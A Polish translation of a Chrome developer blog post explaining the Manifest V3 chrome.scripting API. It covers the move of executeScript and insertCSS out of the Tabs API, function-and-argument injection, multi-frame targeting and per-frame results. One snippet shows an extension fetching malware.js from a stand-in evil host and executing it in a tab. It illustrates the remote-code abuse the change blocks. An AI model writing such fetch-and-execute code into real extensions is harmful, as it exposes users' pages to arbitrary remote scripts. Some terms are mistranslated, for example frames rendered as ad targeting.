Przedstawiamy chrome.scripting

Manifest V3 wprowadza szereg zmian do platformy rozszerzeń Chrome. W tym poście omówimy motywacje i zmiany, które zostały wprowadzone przez jedną z najważniejszych zmian: wprowadzenie interfejsu API chrome.scripting.

Co to jest chrome.scripting?

Zgodnie z nazwą chrome.scripting to nowa przestrzeń nazw wprowadzona w platformie Manifest V3, która odpowiada za możliwość wstrzykiwania skryptów i stylów.

Deweloperzy, którzy utworzyli w przeszłości rozszerzenia do Chrome, mogą znać metody platformy Manifest V2 w Tabs API, np. chrome.tabs.executeScript czy chrome.tabs.insertCSS. Umożliwiają one wstawianie na stronach odpowiednio skryptów i arkuszy stylów. W platformie Manifest V3 te funkcje zostały przeniesione do chrome.scripting. W przyszłości planujemy rozszerzyć ten interfejs API o nowe funkcje.

Po co tworzyć nowy interfejs API?

Po takiej zmianie pojawia się jedno z pierwszych pytań: „dlaczego?”

Kilka różnych czynników skłoniło zespół Chrome do podjęcia decyzji o wprowadzeniu nowej przestrzeni nazw na potrzeby obsługi skryptów. Przede wszystkim interfejs Tabs API pełni rolę szuflady ze śmieciami. Następnie musieliśmy wprowadzić zmiany powodujące niezgodność w istniejącym interfejsie API executeScript. Po trzecie, wiedzieliśmy, że chcemy rozszerzyć możliwości obsługi skryptów w rozszerzeniach. Oba te wątpliwości jasno definiowały potrzebę nowej przestrzeni nazw dla funkcji obsługi skryptów.

Szuflada ze śmieciami

Jednym z problemów, który niepokoi zespół ds. rozszerzeń od kilku lat, jest przeciążenie interfejsu API chrome.tabs. Gdy wprowadziliśmy ten interfejs API, większość jego funkcji była związana z ogólną koncepcją karty przeglądarki. Jednak w tamtym momencie była to już kolekcja wyjątkowych funkcji, a z biegiem lat ich kolekcja powiększała się.

W momencie opublikowania platformy Manifest V3 interfejs Tabs API obejmował już podstawowe funkcje zarządzania kartami, zarządzanie wybieraniem, porządkowanie okien, przesyłanie wiadomości, sterowanie powiększeniem, podstawową nawigację, obsługę skryptów i kilka innych mniejszych funkcji. Są one ważne, ale dla programistów rozpoczynających korzystanie z platformy i dla zespołu Chrome, którzy zajmujemy się tą platformą i rozpatrujemy prośby społeczności deweloperów,

Kolejnym komplikacją jest fakt, że uprawnienie tabs nie jest dobrze znane. Wiele innych uprawnień ogranicza dostęp do danego interfejsu API (np. storage), jednak to uprawnienie jest nieco nietypowe, ponieważ przyznaje rozszerzeniu dostęp tylko do poufnych właściwości w instancjach Tab (rozszerzenie ma też wpływ na interfejs Windows API). Wielu deweloperów rozszerzeń błędnie uważa, że potrzebują tych uprawnień w celu uzyskania dostępu do metod w interfejsie Tabs API, takich jak chrome.tabs.create czy chrome.tabs.executeScript. Przeniesienie funkcji z interfejsu Tabs API rozwija pewne wątpliwości.

Zmiany powodujące niezgodność

Jednym z głównych problemów, które chcieliśmy rozwiązać podczas projektowania platformy Manifest V3, były nadużycia i złośliwe oprogramowanie przez „zdalnie hostowany kod” – kod, który jest wykonywany, ale nie jest zawarty w pakiecie rozszerzeń. Autorzy rozszerzeń, którzy naruszają zasady, często wykonują skrypty pobrane z serwerów zdalnych, aby wykraść dane użytkowników, wstrzyknąć złośliwe oprogramowanie i uniknąć wykrycia. Choć dobrzy aktorzy również korzystają z tej możliwości, w ogóle uznaliśmy, że to zbyt niebezpieczne, aby zachować obecny stan.

Niegrupowany kod może wykonywać rozszerzenia na kilka sposobów. Jednym z nich jest metoda chrome.tabs.executeScript na platformie Manifest V2. Ta metoda umożliwia rozszerzeniu wykonywanie dowolnego ciągu kodu na karcie docelowej. To z kolei oznacza, że złośliwy programista może pobrać dowolny skrypt z serwera zdalnego i uruchomić go na dowolnej stronie, do której ma dostęp rozszerzenie. Wiedzieliśmy, że jeśli chcemy rozwiązać problem z kodem zdalnym, musimy porzucić tę funkcję.

(async function() {
  let result = await fetch('https://evil.example.com/malware.js');
  let script = await result.text();

  chrome.tabs.executeScript({
    code: script,
  });
})();

Chcieliśmy też rozwiązać kilka innych, bardziej subtelnych problemów z projektem wersji platformy Manifest V2, aby interfejs API był bardziej dopracowany i przewidywalny.

Choć mogliśmy zmienić podpis tej metody w interfejsie Tabs API, uznaliśmy, że między tymi niezmiennymi a wprowadzeniem nowych funkcji (opisanych w następnej sekcji) wszystko będzie łatwiejsze dla wszystkich.

Rozszerzenie możliwości tworzenia skryptów

Kolejnym aspektem branym pod uwagę w procesie projektowania platformy Manifest V3 była chęć wprowadzenia dodatkowych możliwości obsługi skryptów do platformy rozszerzeń Chrome. Chcieliśmy dodać obsługę skryptów treści dynamicznych i rozszerzyć możliwości metody executeScript.

Obsługę skryptów treści dynamicznych od dawna otrzymywaliśmy w Chromium od dawna. Obecnie rozszerzenia do Chrome Manifest V2 i V3 mogą statycznie deklarować skrypty treści w pliku manifest.json. Platforma nie umożliwia rejestrowania nowych skryptów treści, dostosowywania rejestracji skryptów treści ani wyrejestrowywania skryptów treści w czasie działania.

Chociaż wiedzieliśmy, że chcemy radzić sobie z tą prośbą o funkcję w Manifest V3, żaden z naszych istniejących interfejsów API nie wydaje mi się właściwy. Rozważyliśmy również dostosowanie przeglądarki Firefox do interfejsu Content Scripts API, ale bardzo wcześnie zauważyliśmy kilka poważnych wad tego podejścia. Po pierwsze wiedzieliśmy, że mamy niezgodne podpisy (np. wycofaliśmy obsługę właściwości code). Po drugie, nasz interfejs API miał inny zestaw ograniczeń projektowych (np. wymagał rejestracji, aby przetrwać dłużej niż okres eksploatacji mechanizmu service worker). W ten sposób skierujemy nas też do funkcji skryptów treści, w których szerzej omawiamy tworzenie skryptów w rozszerzeniach.

Jeśli chodzi o executeScript, chcieliśmy też rozszerzyć możliwości tego interfejsu API poza obsługiwany przez wersję Tabs API. Chodziło nam o obsługę funkcji i argumentów, łatwiejsze kierowanie reklam na określone ramki i kierowanie reklam na konteksty inne niż karty.

W przyszłości rozważamy też sposób, w jaki rozszerzenia mogą wchodzić w interakcje z zainstalowanymi PWA i innymi kontekstami, które nie są zmapowane na „karty”.

Zmiany między tabulatorami.executeScript i scripting.executeScript

W dalszej części tego postu przedstawimy podobieństwa i różnice między chrome.tabs.executeScript i chrome.scripting.executeScript.

Wstrzykiwanie funkcji z argumentami

Podczas rozważania możliwości rozwoju platformy w świetle ograniczeń kodu hostowanego zdalnie chcieliśmy znaleźć równowagę między niewykorzystaniem wyłącznie pojedynczego kodu a zezwalaniem wyłącznie na skrypty treści statycznych. Przyjęliśmy rozwiązanie, które pozwoliło rozszerzeniom wstrzykiwać funkcję jako skrypt treści i przekazywać tablicę wartości w postaci argumentów.

Przyjrzyjmy się pokrótce przykładowi (zbyt uproszczonym). Załóżmy, że chcemy wstawić skrypt, który powitał użytkownika po kliknięciu przez niego przycisku polecenia rozszerzenia (ikony na pasku narzędzi). W platformie Manifest V2 mogliśmy dynamicznie utworzyć ciąg kodu i wykonać go na bieżącej stronie.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener(async (tab) => {
  let userReq = await fetch('https://example.com/greet-user.js');
  let userScript = await userReq.text();

  chrome.tabs.executeScript({
    // userScript == 'alert("Hello, <GIVEN_NAME>!")'
    code: userScript,
  });
});

Rozszerzenia na platformie Manifest V3 nie mogą używać kodu, który nie jest w pakiecie z rozszerzeniem, jednak naszym celem było zachowanie dynamiki, która polegała na wykorzystaniu dowolnych bloków kodu w rozszerzeniach platformy Manifest V2. Dzięki metodzie dotyczącej funkcji i argumentów osoby sprawdzające w Chrome Web Store, użytkownicy i inne zainteresowane osoby mogą dokładniej oceniać ryzyko, jakie stwarza rozszerzenie, a jednocześnie umożliwiać programistom modyfikowanie działania rozszerzenia w czasie działania na podstawie ustawień użytkownika lub stanu aplikacji.

// Manifest V3 extension
function greetUser(name) {
  alert(`Hello, ${name}!`);
}
chrome.action.onClicked.addListener(async (tab) => {
  let userReq = await fetch('https://example.com/user-data.json');
  let user = await userReq.json();
  let givenName = user.givenName || '<GIVEN_NAME>';

  chrome.scripting.executeScript({
    target: {tabId: tab.id},
    func: greetUser,
    args: [givenName],
  });
});

Ramki kierowania

Chcieliśmy też usprawnić sposób, w jaki programiści korzystają z ramek w nowym interfejsie API. Wersja executeScript platformy Manifest V2 umożliwia programistom kierowanie reklam na wszystkie klatki na karcie lub na konkretną klatkę na karcie. Za pomocą funkcji chrome.webNavigation.getAllFrames możesz uzyskać listę wszystkich klatek na karcie.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
  chrome.webNavigation.getAllFrames({tabId: tab.id}, (frames) => {
    let frame1 = frames[0].frameId;
    let frame2 = frames[1].frameId;

    chrome.tabs.executeScript(tab.id, {
      frameId: frame1,
      file: 'content-script.js',
    });
    chrome.tabs.executeScript(tab.id, {
      frameId: frame2,
      file: 'content-script.js',
    });
  });
});

W pliku manifestu w wersji 3 zastąpiliśmy opcjonalną właściwość liczby całkowitej frameId w obiekcie opcji opcjonalną tablicą liczb całkowitych frameIds. Dzięki temu deweloperzy mogą kierować reklamy na wiele ramek w pojedynczym wywołaniu interfejsu API.

// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
  let frames = await chrome.webNavigation.getAllFrames({tabId: tab.id});
  let frame1 = frames[0].frameId;
  let frame2 = frames[1].frameId;

  chrome.scripting.executeScript({
    target: {
      tabId: tab.id,
      frameIds: [frame1, frame2],
    },
    files: ['content-script.js'],
  });
});

Wyniki wstrzykiwania skryptów

Ulepszyliśmy też sposób zwracania wyników wstrzykiwania skryptów w platformie Manifest V3. „Wynik” to w ogóle ostateczna instrukcja oceniana w skrypcie. Możesz ją traktować jako wartość zwracaną, gdy wywołujesz funkcję eval() lub wykonujesz blok kodu w konsoli Narzędzi deweloperskich w Chrome, ale jest on zserializowany, aby przekazywać wyniki między procesami.

W pliku manifestu w wersji 2 funkcje executeScript i insertCSS zwracają tablicę wyników zwykłego wykonania. Nie ma to znaczenia, jeśli masz tylko 1 punkt wstrzykiwania, ale kolejność wyników nie jest gwarantowana przy wstrzykiwaniu do wielu ramek, więc nie da się określić, który wynik jest powiązany z którą ramką.

Aby uzyskać konkretny przykład, spójrzmy na tablice results zwracane przez platformę Manifest V2 i jej wersję 3 tego samego rozszerzenia. Obie wersje rozszerzenia wstrzykną ten sam skrypt treści, a wyniki porównamy na tej samej stronie demonstracyjnej.

// content-script.js
var headers = document.querySelectorAll('p');
headers.length;

Gdy uruchamiamy wersję Manifest V2, zwracamy tablicę [1, 0, 5]. Który wynik odpowiada ramce głównej, a który elementowi iframe? Nie wiemy tego, więc nie wiemy tego na pewno.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
  chrome.tabs.executeScript({
    allFrames: true,
    file: 'content-script.js',
  }, (results) => {
    // results == [1, 0, 5]
    for (let result of results) {
      if (result > 0) {
        // Do something with the frame... which one was it?
      }
    }
  });
});

W wersji pliku manifestu w wersji 3 results zawiera teraz tablicę obiektów wyników zamiast tablicy tylko z wynikami oceny. Obiekty wyników wyraźnie określają identyfikator ramki każdego wyniku. Ułatwia to deweloperom wykorzystanie wyniku i podjęcie działań w konkretnej klatce.

// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
  let results = await chrome.scripting.executeScript({
    target: {tabId: tab.id, allFrames: true},
    files: ['content-script.js'],
  });
  // results == [
  //   {frameId: 0, result: 1},
  //   {frameId: 1235, result: 5},
  //   {frameId: 1234, result: 0}
  // ]

  for (let result of results) {
    if (result.result > 0) {
      console.log(`Found ${result} p tag(s) in frame ${result.frameId}`);
      // Found 1 p tag(s) in frame 0
      // Found 5 p tag(s) in frame 1235
    }
  }
});

Podsumowanie

Przekroczenia wersji pliku manifestu dają rzadką okazję do przemyślenia i modernizacji interfejsów API rozszerzeń. Celem platformy Manifest V3 jest zwiększenie bezpieczeństwa użytkowników przez zwiększenie bezpieczeństwa rozszerzeń i poprawę wrażeń deweloperów. Dzięki wprowadzeniu chrome.scripting do platformy Manifest V3 uporządkowaliśmy interfejs Tabs API, przeprojektowaliśmy executeScript z myślą o bezpieczniejszej platformie rozszerzeń i opracowaliśmy podstawy dla nowych funkcji obsługi skryptów, które pojawią się jeszcze w tym roku.